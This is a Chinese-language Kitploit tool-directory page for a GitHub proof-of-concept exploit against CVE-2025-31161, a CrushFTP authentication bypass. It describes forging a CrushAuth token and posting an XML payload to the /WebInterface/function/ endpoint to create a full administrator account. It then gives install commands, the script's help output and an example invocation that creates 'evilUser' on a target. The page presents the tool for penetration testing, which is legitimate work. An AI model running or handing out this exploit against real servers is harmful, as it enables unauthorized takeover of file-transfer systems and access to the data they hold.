Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-31161 — PoC CVE-2025-31161 - CrushFTP 认证绕过 | Kitploit
工具/GitHubGitHub/f4dee-backup/cve-2025-31161
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证
GitHubf4dee-backup/cve-2025-31161

CVE-2025-31161

PoC CVE-2025-31161 - CrushFTP 认证绕过

查看仓库
211个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-31161 - CrushFTP 认证绕过漏洞利用工具

PoC CVE-2025-31161 - CrushFTP 认证绕过

📌 CVE 详情

  • 编号：CVE-2025-31161
  • 类型：认证绕过
  • 供应商：CrushFTP
  • 影响：允许未认证的攻击者伪造有效的 CrushAuth 令牌并创建完全特权的管理员用户。
  • 更多信息：NVD 条目（当可用时）

⚙️ 描述

此漏洞利用工具针对 CrushFTP 中的一个严重漏洞，允许远程未认证的攻击者 绕过身份验证 并 创建任意管理员用户。

其工作原理是伪造一个看似有效的 CrushAuth 令牌，并滥用 /WebInterface/function/ 端点提交一个完整的 XML 负载。

🚀 用法

🔧 要求

  • curl
  • shuf

安装

root@kitploit:~
git clone https://github.com/f4dee-backup/CVE-2025-31161
root@kitploit:~
cd CVE-2025-31161
root@kitploit:~
chmod +x CVE-2025-31161.sh

帮助面板：

root@kitploit:~
./CVE-2025-31161.sh --help

[?] Parameters description:

	--url            Target base URL (e.g., http://target)
	--port           Port where CrushFTP is running
	--target-user    Valid or invalid username (e.g., crushadmin)
	--new-user       Username to be created (e.g., Pwn3d)
	--new-password   Password for the new user
	--help           Show this help panel

[i] Example: ./CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345
下载工具